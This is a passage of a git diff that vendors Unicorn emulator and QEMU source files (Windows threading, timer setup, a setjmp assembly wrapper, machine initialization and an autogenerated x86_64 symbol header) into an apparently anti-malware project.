+ _endthreadex(0); +} + +void *qemu_thread_join(QemuThread *thread) +{ + QemuThreadData *data; + void *ret; + HANDLE handle; + + data = thread->data; + if (!data) { + return NULL; + } + /* + * Because multiple copies of the QemuThread can exist via + * qemu_thread_get_self, we need to store a value that cannot + * leak there. The simplest, non racy way is to store the TID, + * discard the handle that _beginthreadex gives back, and + * get another copy of the handle here. + */ + handle = qemu_thread_get_handle(thread); + if (handle) { + WaitForSingleObject(handle, INFINITE); + CloseHandle(handle); + } + ret = data->ret; + assert(data->mode != QEMU_THREAD_DETACHED); + DeleteCriticalSection(&data->cs); + data->uc->qemu_thread_data = NULL; + g_free(data); + data = NULL; + return ret; +} + +int qemu_thread_create(struct uc_struct *uc, QemuThread *thread, const char *name, + void *(*start_routine)(void *), + void *arg, int mode) +{ + HANDLE hThread; + struct QemuThreadData *data; + + data = g_malloc(sizeof *data); + data->start_routine = start_routine; + data->arg = arg; + data->mode = mode; + data->exited = false; + data->uc = uc; + + uc->qemu_thread_data = data; + + if (data->mode != QEMU_THREAD_DETACHED) { + InitializeCriticalSection(&data->cs); + } + + hThread = (HANDLE) _beginthreadex(NULL, 0, win32_start_routine, + data, 0, &thread->tid); + if (!hThread) { + error_exit(GetLastError(), __func__); + return -1; + } + + CloseHandle(hThread); + thread->data = (mode == QEMU_THREAD_DETACHED) ? NULL : data; + + return 0; +} + +HANDLE qemu_thread_get_handle(QemuThread *thread) +{ + QemuThreadData *data; + HANDLE handle; + + data = thread->data; + if (!data) { + return NULL; + } + + assert(data->mode != QEMU_THREAD_DETACHED); + EnterCriticalSection(&data->cs); + if (!data->exited) { + handle = OpenThread(SYNCHRONIZE | THREAD_SUSPEND_RESUME, FALSE, + thread->tid); + } else { + handle = NULL; + } + LeaveCriticalSection(&data->cs); + return handle; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/util/qemu-timer-common.c b/ai_anti_malware/unicorn/unicorn-master/qemu/util/qemu-timer-common.c new file mode 100644 index 0000000..3ab3326 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/util/qemu-timer-common.c @@ -0,0 +1,43 @@ +/* + * QEMU System Emulator + * + * Copyright (c) 2003-2008 Fabrice Bellard + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +#include "qemu/timer.h" + +/***********************************************************/ +/* real time host monotonic timer */ + +#ifdef _WIN32 +int64_t clock_freq; + +INITIALIZER(init_get_clock) +{ + LARGE_INTEGER freq; + int ret; + ret = QueryPerformanceFrequency(&freq); + if (ret == 0) { + fprintf(stderr, "Could not calibrate ticks\n"); + exit(1); + } + clock_freq = freq.QuadPart; +} +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/util/setjmp-wrapper-win32.asm b/ai_anti_malware/unicorn/unicorn-master/qemu/util/setjmp-wrapper-win32.asm new file mode 100644 index 0000000..6e6b6ab --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/util/setjmp-wrapper-win32.asm @@ -0,0 +1,26 @@ +EXTERN _setjmp: proc +PUBLIC _setjmp_wrapper + +_TEXT SEGMENT + +_setjmp_wrapper PROC + +; Why do we need this wrapper? +; Short answer: Windows default implementation of setjmp/longjmp is incompatible with generated code. +; A longer answer: https://blog.lazym.io/2020/09/21/Unicorn-Devblog-setjmp-longjmp-on-Windows/. + +; From qemu os-win32 comments: +; > On w64, setjmp is implemented by _setjmp which needs a second parameter. +; > If this parameter is NULL, longjump does no stack unwinding. +; > That is what we need for QEMU. Passing the value of register rsp (default) +; > lets longjmp try a stack unwinding which will crash with generated code. +; It's true indeed, but MSVC doesn't has a setjmp signature which receives two arguements. +; Therefore, we add a wrapper to keep the second argument zero. +xor rdx, rdx +jmp _setjmp + +_setjmp_wrapper ENDP + +_TEXT ENDS + +END \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/vl.c b/ai_anti_malware/unicorn/unicorn-master/qemu/vl.c new file mode 100644 index 0000000..f6c68b4 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/vl.c @@ -0,0 +1,156 @@ +/* + * QEMU System Emulator + * + * Copyright (c) 2003-2008 Fabrice Bellard + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh, 2015 */ + +#include "hw/boards.h" // MachineClass +#include "sysemu/sysemu.h" +#include "sysemu/cpus.h" +#include "vl.h" +#include "uc_priv.h" + +#define DEFAULT_RAM_SIZE 128 + +int smp_cpus = 1; +int smp_cores = 1; +int smp_threads = 1; + +// cpus.c +void cpu_resume(CPUState *cpu) +{ + cpu->stop = false; + cpu->stopped = false; +} + +void cpu_stop_current(struct uc_struct *uc) +{ + if (uc->current_cpu) { + uc->current_cpu->stop = false; + uc->current_cpu->stopped = true; + cpu_exit(uc->current_cpu); + } +} + + +/***********************************************************/ +/* machine registration */ + +MachineClass *find_default_machine(struct uc_struct *uc, int arch) +{ + GSList *el, *machines = object_class_get_list(uc, TYPE_MACHINE, false); + MachineClass *mc = NULL; + + for (el = machines; el; el = el->next) { + MachineClass *temp = el->data; + + if ((temp->is_default) && (temp->arch == arch)) { + mc = temp; + break; + } + } + + g_slist_free(machines); + return mc; +} + +DEFAULT_VISIBILITY +int machine_initialize(struct uc_struct *uc) +{ + MachineClass *machine_class; + MachineState *current_machine; + + module_call_init(uc, MODULE_INIT_QOM); + register_types_object(uc); + machine_register_types(uc); + container_register_types(uc); + cpu_register_types(uc); + qdev_register_types(uc); + + // Initialize arch specific. + uc->init_arch(uc); + + module_call_init(uc, MODULE_INIT_MACHINE); + // this will auto initialize all register objects above. + machine_class = find_default_machine(uc, uc->arch); + if (machine_class == NULL) { + //fprintf(stderr, "No machine specified, and there is no default.\n" + // "Use -machine help to list supported machines!\n"); + return -2; + } + + current_machine = MACHINE(uc, object_new(uc, object_class_get_name( + OBJECT_CLASS(machine_class)))); + uc->machine_state = current_machine; + current_machine->uc = uc; + uc->cpu_exec_init_all(uc); + + machine_class->max_cpus = 1; + configure_accelerator(current_machine); + + current_machine->cpu_model = NULL; + + return machine_class->init(uc, current_machine); +} + +void qemu_system_reset_request(struct uc_struct* uc) +{ + cpu_stop_current(uc); +} + +void qemu_system_shutdown_request(void) +{ + //shutdown_requested = 1; +} + +static void machine_class_init(struct uc_struct *uc, ObjectClass *oc, void *data) +{ + MachineClass *mc = MACHINE_CLASS(uc, oc); + QEMUMachine *qm = data; + + mc->family = qm->family; + mc->name = qm->name; + mc->init = qm->init; + mc->reset = qm->reset; + mc->max_cpus = qm->max_cpus; + mc->is_default = qm->is_default; + mc->arch = qm->arch; +} + +void qemu_register_machine(struct uc_struct *uc, QEMUMachine *m, const char *type_machine, + void (*init)(struct uc_struct *uc, ObjectClass *oc, void *data)) +{ + char *name = g_strconcat(m->name, TYPE_MACHINE_SUFFIX, NULL); + TypeInfo ti = {0}; + ti.name = name; + ti.parent = type_machine; + ti.class_init = init; + ti.class_data = (void *)m; + + if (init == NULL) + ti.class_init = machine_class_init; + + type_register(uc, &ti); + g_free(name); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/vl.h b/ai_anti_malware/unicorn/unicorn-master/qemu/vl.h new file mode 100644 index 0000000..fe216e7 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/vl.h @@ -0,0 +1,7 @@ +#ifndef VL_H_ +#define VL_H_ + +int machine_initialize(struct uc_struct *uc); + +#endif + diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/x86_64.h b/ai_anti_malware/unicorn/unicorn-master/qemu/x86_64.h new file mode 100644 index 0000000..9b05bec --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/x86_64.h @@ -0,0 +1,3020 @@ +/* Autogen header for Unicorn Engine - DONOT MODIFY */ +#ifndef UNICORN_AUTOGEN_X86_64_H +#define UNICORN_AUTOGEN_X86_64_H +#define arm_release arm_release_x86_64 +#define aarch64_tb_set_jmp_target aarch64_tb_set_jmp_target_x86_64 +#define ppc_tb_set_jmp_target ppc_tb_set_jmp_target_x86_64 +#define use_idiv_instructions_rt use_idiv_instructions_rt_x86_64 +#define tcg_target_deposit_valid tcg_target_deposit_valid_x86_64 +#define helper_power_down helper_power_down_x86_64 +#define check_exit_request check_exit_request_x86_64 +#define address_space_unregister address_space_unregister_x86_64 +#define tb_invalidate_phys_page_fast tb_invalidate_phys_page_fast_x86_64 +#define phys_mem_clean phys_mem_clean_x86_64 +#define tb_cleanup tb_cleanup_x86_64 +#define memory_map memory_map_x86_64 +#define memory_map_ptr memory_map_ptr_x86_64 +#define memory_unmap memory_unmap_x86_64 +#define memory_free memory_free_x86_64 +#define free_code_gen_buffer free_code_gen_buffer_x86_64 +#define helper_raise_exception helper_raise_exception_x86_64 +#define tcg_enabled tcg_enabled_x86_64 +#define tcg_exec_init tcg_exec_init_x86_64 +#define memory_register_types memory_register_types_x86_64 +#define cpu_exec_init_all cpu_exec_init_all_x86_64 +#define vm_start vm_start_x86_64 +#define resume_all_vcpus resume_all_vcpus_x86_64 +#define a15_l2ctlr_read a15_l2ctlr_read_x86_64 +#define a64_translate_init a64_translate_init_x86_64 +#define aa32_generate_debug_exceptions aa32_generate_debug_exceptions_x86_64 +#define aa64_cacheop_access aa64_cacheop_access_x86_64 +#define aa64_daif_access aa64_daif_access_x86_64 +#define aa64_daif_write aa64_daif_write_x86_64 +#define aa64_dczid_read aa64_dczid_read_x86_64 +#define aa64_fpcr_read aa64_fpcr_read_x86_64 +#define aa64_fpcr_write aa64_fpcr_write_x86_64 +#define aa64_fpsr_read aa64_fpsr_read_x86_64 +#define aa64_fpsr_write aa64_fpsr_write_x86_64 +#define aa64_generate_debug_exceptions aa64_generate_debug_exceptions_x86_64 +#define aa64_zva_access aa64_zva_access_x86_64 +#define aarch64_banked_spsr_index aarch64_banked_spsr_index_x86_64 +#define aarch64_restore_sp aarch64_restore_sp_x86_64 +#define aarch64_save_sp aarch64_save_sp_x86_64 +#define accel_find accel_find_x86_64 +#define accel_init_machine accel_init_machine_x86_64 +#define accel_type accel_type_x86_64 +#define access_with_adjusted_size access_with_adjusted_size_x86_64 +#define add128 add128_x86_64 +#define add16_sat add16_sat_x86_64 +#define add16_usat add16_usat_x86_64 +#define add192 add192_x86_64 +#define add8_sat add8_sat_x86_64 +#define add8_usat add8_usat_x86_64 +#define add_cpreg_to_hashtable add_cpreg_to_hashtable_x86_64 +#define add_cpreg_to_list add_cpreg_to_list_x86_64 +#define addFloat128Sigs addFloat128Sigs_x86_64 +#define addFloat32Sigs addFloat32Sigs_x86_64 +#define addFloat64Sigs addFloat64Sigs_x86_64 +#define addFloatx80Sigs addFloatx80Sigs_x86_64 +#define add_qemu_ldst_label add_qemu_ldst_label_x86_64 +#define address_space_access_valid address_space_access_valid_x86_64 +#define address_space_destroy address_space_destroy_x86_64 +#define address_space_destroy_dispatch address_space_destroy_dispatch_x86_64 +#define address_space_get_flatview address_space_get_flatview_x86_64 +#define address_space_init address_space_init_x86_64 +#define address_space_init_dispatch address_space_init_dispatch_x86_64 +#define address_space_lookup_region address_space_lookup_region_x86_64 +#define address_space_map address_space_map_x86_64 +#define address_space_read address_space_read_x86_64 +#define address_space_rw address_space_rw_x86_64 +#define address_space_translate address_space_translate_x86_64 +#define address_space_translate_for_iotlb address_space_translate_for_iotlb_x86_64 +#define address_space_translate_internal address_space_translate_internal_x86_64 +#define address_space_unmap address_space_unmap_x86_64 +#define address_space_update_topology address_space_update_topology_x86_64 +#define address_space_update_topology_pass address_space_update_topology_pass_x86_64 +#define address_space_write address_space_write_x86_64 +#define addrrange_contains addrrange_contains_x86_64 +#define addrrange_end addrrange_end_x86_64 +#define addrrange_equal addrrange_equal_x86_64 +#define addrrange_intersection addrrange_intersection_x86_64 +#define addrrange_intersects addrrange_intersects_x86_64 +#define addrrange_make addrrange_make_x86_64 +#define adjust_endianness adjust_endianness_x86_64 +#define all_helpers all_helpers_x86_64 +#define alloc_code_gen_buffer alloc_code_gen_buffer_x86_64 +#define alloc_entry alloc_entry_x86_64 +#define always_true always_true_x86_64 +#define arm1026_initfn arm1026_initfn_x86_64 +#define arm1136_initfn arm1136_initfn_x86_64 +#define arm1136_r2_initfn arm1136_r2_initfn_x86_64 +#define arm1176_initfn arm1176_initfn_x86_64 +#define arm11mpcore_initfn arm11mpcore_initfn_x86_64 +#define arm926_initfn arm926_initfn_x86_64 +#define arm946_initfn arm946_initfn_x86_64 +#define arm_ccnt_enabled arm_ccnt_enabled_x86_64 +#define arm_cp_read_zero arm_cp_read_zero_x86_64 +#define arm_cp_reset_ignore arm_cp_reset_ignore_x86_64 +#define arm_cpu_do_interrupt arm_cpu_do_interrupt_x86_64 +#define arm_cpu_exec_interrupt arm_cpu_exec_interrupt_x86_64 +#define arm_cpu_finalizefn arm_cpu_finalizefn_x86_64 +#define arm_cpu_get_phys_page_debug arm_cpu_get_phys_page_debug_x86_64 +#define arm_cpu_handle_mmu_fault arm_cpu_handle_mmu_fault_x86_64 +#define arm_cpu_initfn arm_cpu_initfn_x86_64 +#define arm_cpu_list arm_cpu_list_x86_64 +#define cpu_loop_exit cpu_loop_exit_x86_64 +#define arm_cpu_post_init arm_cpu_post_init_x86_64 +#define arm_cpu_realizefn arm_cpu_realizefn_x86_64 +#define arm_cpu_register_gdb_regs_for_features arm_cpu_register_gdb_regs_for_features_x86_64 +#define arm_cpu_register_types arm_cpu_register_types_x86_64 +#define cpu_resume_from_signal cpu_resume_from_signal_x86_64 +#define arm_cpus arm_cpus_x86_64 +#define arm_cpu_set_pc arm_cpu_set_pc_x86_64 +#define arm_cp_write_ignore arm_cp_write_ignore_x86_64 +#define arm_current_el arm_current_el_x86_64 +#define arm_dc_feature arm_dc_feature_x86_64 +#define arm_debug_excp_handler arm_debug_excp_handler_x86_64 +#define arm_debug_target_el arm_debug_target_el_x86_64 +#define arm_el_is_aa64 arm_el_is_aa64_x86_64 +#define arm_env_get_cpu arm_env_get_cpu_x86_64 +#define arm_excp_target_el arm_excp_target_el_x86_64 +#define arm_excp_unmasked arm_excp_unmasked_x86_64 +#define arm_feature arm_feature_x86_64 +#define arm_generate_debug_exceptions arm_generate_debug_exceptions_x86_64 +#define gen_intermediate_code gen_intermediate_code_x86_64 +#define gen_intermediate_code_pc gen_intermediate_code_pc_x86_64 +#define arm_gen_test_cc arm_gen_test_cc_x86_64 +#define arm_gt_ptimer_cb arm_gt_ptimer_cb_x86_64 +#define arm_gt_vtimer_cb arm_gt_vtimer_cb_x86_64 +#define arm_handle_psci_call arm_handle_psci_call_x86_64 +#define arm_is_psci_call arm_is_psci_call_x86_64 +#define arm_is_secure arm_is_secure_x86_64 +#define arm_is_secure_below_el3 arm_is_secure_below_el3_x86_64 +#define arm_ldl_code arm_ldl_code_x86_64 +#define arm_lduw_code arm_lduw_code_x86_64 +#define arm_log_exception arm_log_exception_x86_64 +#define arm_reg_read arm_reg_read_x86_64 +#define arm_reg_reset arm_reg_reset_x86_64 +#define arm_reg_write arm_reg_write_x86_64 +#define restore_state_to_opc restore_state_to_opc_x86_64 +#define arm_rmode_to_sf arm_rmode_to_sf_x86_64 +#define arm_singlestep_active arm_singlestep_active_x86_64 +#define tlb_fill tlb_fill_x86_64 +#define tlb_flush tlb_flush_x86_64 +#define tlb_flush_page tlb_flush_page_x86_64 +#define tlb_set_page tlb_set_page_x86_64 +#define arm_translate_init arm_translate_init_x86_64 +#define arm_v7m_class_init arm_v7m_class_init_x86_64 +#define arm_v7m_cpu_do_interrupt arm_v7m_cpu_do_interrupt_x86_64 +#define ats_access ats_access_x86_64 +#define ats_write ats_write_x86_64 +#define bad_mode_switch bad_mode_switch_x86_64 +#define bank_number bank_number_x86_64 +#define bitmap_zero_extend bitmap_zero_extend_x86_64 +#define bp_wp_matches bp_wp_matches_x86_64 +#define breakpoint_invalidate breakpoint_invalidate_x86_64 +#define build_page_bitmap build_page_bitmap_x86_64 +#define bus_add_child bus_add_child_x86_64 +#define bus_class_init bus_class_init_x86_64 +#define bus_info bus_info_x86_64 +#define bus_unparent bus_unparent_x86_64 +#define cache_block_ops_cp_reginfo cache_block_ops_cp_reginfo_x86_64 +#define cache_dirty_status_cp_reginfo cache_dirty_status_cp_reginfo_x86_64 +#define cache_test_clean_cp_reginfo cache_test_clean_cp_reginfo_x86_64 +#define call_recip_estimate call_recip_estimate_x86_64 +#define can_merge can_merge_x86_64 +#define capacity_increase capacity_increase_x86_64 +#define ccsidr_read ccsidr_read_x86_64 +#define check_ap check_ap_x86_64 +#define check_breakpoints check_breakpoints_x86_64 +#define check_watchpoints check_watchpoints_x86_64 +#define cho cho_x86_64 +#define clear_bit clear_bit_x86_64 +#define clz32 clz32_x86_64 +#define clz64 clz64_x86_64 +#define cmp_flatrange_addr cmp_flatrange_addr_x86_64 +#define code_gen_alloc code_gen_alloc_x86_64 +#define commonNaNToFloat128 commonNaNToFloat128_x86_64 +#define commonNaNToFloat16 commonNaNToFloat16_x86_64 +#define commonNaNToFloat32 commonNaNToFloat32_x86_64 +#define commonNaNToFloat64 commonNaNToFloat64_x86_64 +#define commonNaNToFloatx80 commonNaNToFloatx80_x86_64 +#define compute_abs_deadline compute_abs_deadline_x86_64 +#define cond_name cond_name_x86_64 +#define configure_accelerator configure_accelerator_x86_64 +#define container_get container_get_x86_64 +#define container_info container_info_x86_64 +#define container_register_types container_register_types_x86_64 +#define contextidr_write contextidr_write_x86_64 +#define core_log_global_start core_log_global_start_x86_64 +#define core_log_global_stop core_log_global_stop_x86_64 +#define core_memory_listener core_memory_listener_x86_64 +#define cortexa15_cp_reginfo cortexa15_cp_reginfo_x86_64 +#define cortex_a15_initfn cortex_a15_initfn_x86_64 +#define cortexa8_cp_reginfo cortexa8_cp_reginfo_x86_64 +#define cortex_a8_initfn cortex_a8_initfn_x86_64 +#define cortexa9_cp_reginfo cortexa9_cp_reginfo_x86_64 +#define cortex_a9_initfn cortex_a9_initfn_x86_64 +#define cortex_m3_initfn cortex_m3_initfn_x86_64 +#define count_cpreg count_cpreg_x86_64 +#define countLeadingZeros32 countLeadingZeros32_x86_64 +#define countLeadingZeros64 countLeadingZeros64_x86_64 +#define cp_access_ok cp_access_ok_x86_64 +#define cpacr_write cpacr_write_x86_64 +#define cpreg_field_is_64bit cpreg_field_is_64bit_x86_64 +#define cp_reginfo cp_reginfo_x86_64 +#define cpreg_key_compare cpreg_key_compare_x86_64 +#define cpreg_make_keylist cpreg_make_keylist_x86_64 +#define cp_reg_reset cp_reg_reset_x86_64 +#define cpreg_to_kvm_id cpreg_to_kvm_id_x86_64 +#define cpsr_read cpsr_read_x86_64 +#define cpsr_write cpsr_write_x86_64 +#define cptype_valid cptype_valid_x86_64 +#define cpu_abort cpu_abort_x86_64 +#define cpu_arm_exec cpu_arm_exec_x86_64 +#define cpu_arm_gen_code cpu_arm_gen_code_x86_64 +#define cpu_arm_init cpu_arm_init_x86_64 +#define cpu_breakpoint_insert cpu_breakpoint_insert_x86_64 +#define cpu_breakpoint_remove cpu_breakpoint_remove_x86_64 +#define cpu_breakpoint_remove_all cpu_breakpoint_remove_all_x86_64 +#define cpu_breakpoint_remove_by_ref cpu_breakpoint_remove_by_ref_x86_64 +#define cpu_can_do_io cpu_can_do_io_x86_64 +#define cpu_can_run cpu_can_run_x86_64 +#define cpu_class_init cpu_class_init_x86_64 +#define cpu_common_class_by_name cpu_common_class_by_name_x86_64 +#define cpu_common_exec_interrupt cpu_common_exec_interrupt_x86_64 +#define cpu_common_get_arch_id cpu_common_get_arch_id_x86_64 +#define cpu_common_get_memory_mapping cpu_common_get_memory_mapping_x86_64 +#define cpu_common_get_paging_enabled cpu_common_get_paging_enabled_x86_64 +#define cpu_common_has_work cpu_common_has_work_x86_64 +#define cpu_common_initfn cpu_common_initfn_x86_64 +#define cpu_common_noop cpu_common_noop_x86_64 +#define cpu_common_parse_features cpu_common_parse_features_x86_64 +#define cpu_common_realizefn cpu_common_realizefn_x86_64 +#define cpu_common_reset cpu_common_reset_x86_64 +#define cpu_dump_statistics cpu_dump_statistics_x86_64 +#define cpu_exec_init cpu_exec_init_x86_64 +#define cpu_flush_icache_range cpu_flush_icache_range_x86_64 +#define cpu_gen_init cpu_gen_init_x86_64 +#define cpu_get_clock cpu_get_clock_x86_64 +#define cpu_get_real_ticks cpu_get_real_ticks_x86_64 +#define cpu_get_tb_cpu_state cpu_get_tb_cpu_state_x86_64 +#define cpu_handle_debug_exception cpu_handle_debug_exception_x86_64 +#define cpu_handle_guest_debug cpu_handle_guest_debug_x86_64 +#define cpu_inb cpu_inb_x86_64 +#define cpu_inl cpu_inl_x86_64 +#define cpu_interrupt cpu_interrupt_x86_64 +#define cpu_interrupt_handler cpu_interrupt_handler_x86_64 +#define cpu_inw cpu_inw_x86_64 +#define cpu_io_recompile cpu_io_recompile_x86_64 +#define cpu_is_stopped cpu_is_stopped_x86_64 +#define cpu_ldl_code cpu_ldl_code_x86_64 +#define cpu_ldub_code cpu_ldub_code_x86_64 +#define cpu_lduw_code cpu_lduw_code_x86_64 +#define cpu_memory_rw_debug cpu_memory_rw_debug_x86_64 +#define cpu_mmu_index cpu_mmu_index_x86_64 +#define cpu_outb cpu_outb_x86_64 +#define cpu_outl cpu_outl_x86_64 +#define cpu_outw cpu_outw_x86_64 +#define cpu_physical_memory_clear_dirty_range cpu_physical_memory_clear_dirty_range_x86_64 +#define cpu_physical_memory_get_clean cpu_physical_memory_get_clean_x86_64 +#define cpu_physical_memory_get_dirty cpu_physical_memory_get_dirty_x86_64 +#define cpu_physical_memory_get_dirty_flag cpu_physical_memory_get_dirty_flag_x86_64 +#define cpu_physical_memory_is_clean cpu_physical_memory_is_clean_x86_64 +#define cpu_physical_memory_is_io cpu_physical_memory_is_io_x86_64 +#define cpu_physical_memory_map cpu_physical_memory_map_x86_64 +#define cpu_physical_memory_range_includes_clean cpu_physical_memory_range_includes_clean_x86_64 +#define cpu_physical_memory_reset_dirty cpu_physical_memory_reset_dirty_x86_64 +#define cpu_physical_memory_rw cpu_physical_memory_rw_x86_64 +#define cpu_physical_memory_set_dirty_flag cpu_physical_memory_set_dirty_flag_x86_64 +#define cpu_physical_memory_set_dirty_range cpu_physical_memory_set_dirty_range_x86_64 +#define cpu_physical_memory_unmap cpu_physical_memory_unmap_x86_64 +#define cpu_physical_memory_write_rom cpu_physical_memory_write_rom_x86_64 +#define cpu_physical_memory_write_rom_internal cpu_physical_memory_write_rom_internal_x86_64 +#define cpu_register cpu_register_x86_64 +#define cpu_register_types cpu_register_types_x86_64 +#define cpu_restore_state cpu_restore_state_x86_64 +#define cpu_restore_state_from_tb cpu_restore_state_from_tb_x86_64 +#define cpu_single_step cpu_single_step_x86_64 +#define cpu_tb_exec cpu_tb_exec_x86_64 +#define cpu_tlb_reset_dirty_all cpu_tlb_reset_dirty_all_x86_64 +#define cpu_to_be64 cpu_to_be64_x86_64 +#define cpu_to_le32 cpu_to_le32_x86_64 +#define cpu_to_le64 cpu_to_le64_x86_64 +#define cpu_type_info cpu_type_info_x86_64 +#define cpu_unassigned_access cpu_unassigned_access_x86_64 +#define cpu_watchpoint_address_matches cpu_watchpoint_address_matches_x86_64 +#define cpu_watchpoint_insert cpu_watchpoint_insert_x86_64 +#define cpu_watchpoint_remove cpu_watchpoint_remove_x86_64 +#define cpu_watchpoint_remove_all cpu_watchpoint_remove_all_x86_64 +#define cpu_watchpoint_remove_by_ref cpu_watchpoint_remove_by_ref_x86_64 +#define crc32c_table crc32c_table_x86_64 +#define create_new_memory_mapping create_new_memory_mapping_x86_64 +#define csselr_write csselr_write_x86_64 +#define cto32 cto32_x86_64 +#define ctr_el0_access ctr_el0_access_x86_64 +#define ctz32 ctz32_x86_64 +#define ctz64 ctz64_x86_64 +#define dacr_write dacr_write_x86_64 +#define dbgbcr_write dbgbcr_write_x86_64 +#define dbgbvr_write dbgbvr_write_x86_64 +#define dbgwcr_write dbgwcr_write_x86_64 +#define dbgwvr_write dbgwvr_write_x86_64 +#define debug_cp_reginfo debug_cp_reginfo_x86_64 +#define debug_frame debug_frame_x86_64 +#define debug_lpae_cp_reginfo debug_lpae_cp_reginfo_x86_64 +#define define_arm_cp_regs define_arm_cp_regs_x86_64 +#define define_arm_cp_regs_with_opaque define_arm_cp_regs_with_opaque_x86_64 +#define define_debug_regs define_debug_regs_x86_64 +#define define_one_arm_cp_reg define_one_arm_cp_reg_x86_64 +#define define_one_arm_cp_reg_with_opaque define_one_arm_cp_reg_with_opaque_x86_64 +#define deposit32 deposit32_x86_64 +#define deposit64 deposit64_x86_64 +#define deregister_tm_clones deregister_tm_clones_x86_64 +#define device_class_base_init device_class_base_init_x86_64 +#define device_class_init device_class_init_x86_64 +#define device_finalize device_finalize_x86_64 +#define device_get_realized device_get_realized_x86_64 +#define device_initfn device_initfn_x86_64 +#define device_post_init device_post_init_x86_64 +#define device_reset device_reset_x86_64 +#define device_set_realized device_set_realized_x86_64 +#define device_type_info device_type_info_x86_64 +#define disas_arm_insn disas_arm_insn_x86_64 +#define disas_coproc_insn disas_coproc_insn_x86_64 +#define disas_dsp_insn disas_dsp_insn_x86_64 +#define disas_iwmmxt_insn disas_iwmmxt_insn_x86_64 +#define disas_neon_data_insn disas_neon_data_insn_x86_64 +#define disas_neon_ls_insn disas_neon_ls_insn_x86_64 +#define disas_thumb2_insn disas_thumb2_insn_x86_64 +#define disas_thumb_insn disas_thumb_insn_x86_64 +#define disas_vfp_insn disas_vfp_insn_x86_64 +#define disas_vfp_v8_insn disas_vfp_v8_insn_x86_64 +#define do_arm_semihosting do_arm_semihosting_x86_64 +#define do_clz16 do_clz16_x86_64 +#define do_clz8 do_clz8_x86_64 +#define do_constant_folding do_constant_folding_x86_64 +#define do_constant_folding_2 do_constant_folding_2_x86_64 +#define do_constant_folding_cond do_constant_folding_cond_x86_64 +#define do_constant_folding_cond2 do_constant_folding_cond2_x86_64 +#define do_constant_folding_cond_32 do_constant_folding_cond_32_x86_64 +#define do_constant_folding_cond_64 do_constant_folding_cond_64_x86_64 +#define do_constant_folding_cond_eq do_constant_folding_cond_eq_x86_64 +#define do_fcvt_f16_to_f32 do_fcvt_f16_to_f32_x86_64 +#define do_fcvt_f32_to_f16 do_fcvt_f32_to_f16_x86_64 +#define do_ssat do_ssat_x86_64 +#define do_usad do_usad_x86_64 +#define do_usat do_usat_x86_64 +#define do_v7m_exception_exit do_v7m_exception_exit_x86_64 +#define dummy_c15_cp_reginfo dummy_c15_cp_reginfo_x86_64 +#define dummy_func dummy_func_x86_64 +#define dummy_section dummy_section_x86_64 +#define _DYNAMIC _DYNAMIC_x86_64 +#define _edata _edata_x86_64 +#define _end _end_x86_64 +#define end_list end_list_x86_64 +#define eq128 eq128_x86_64 +#define ErrorClass_lookup ErrorClass_lookup_x86_64 +#define error_copy error_copy_x86_64 +#define error_exit error_exit_x86_64 +#define error_get_class error_get_class_x86_64 +#define error_get_pretty error_get_pretty_x86_64 +#define error_setg_file_open error_setg_file_open_x86_64 +#define estimateDiv128To64 estimateDiv128To64_x86_64 +#define estimateSqrt32 estimateSqrt32_x86_64 +#define excnames excnames_x86_64 +#define excp_is_internal excp_is_internal_x86_64 +#define extended_addresses_enabled extended_addresses_enabled_x86_64 +#define extended_mpu_ap_bits extended_mpu_ap_bits_x86_64 +#define extract32 extract32_x86_64 +#define extract64 extract64_x86_64 +#define extractFloat128Exp extractFloat128Exp_x86_64 +#define extractFloat128Frac0 extractFloat128Frac0_x86_64 +#define extractFloat128Frac1 extractFloat128Frac1_x86_64 +#define extractFloat128Sign extractFloat128Sign_x86_64 +#define extractFloat16Exp extractFloat16Exp_x86_64 +#define extractFloat16Frac extractFloat16Frac_x86_64 +#define extractFloat16Sign extractFloat16Sign_x86_64 +#define extractFloat32Exp extractFloat32Exp_x86_64 +#define 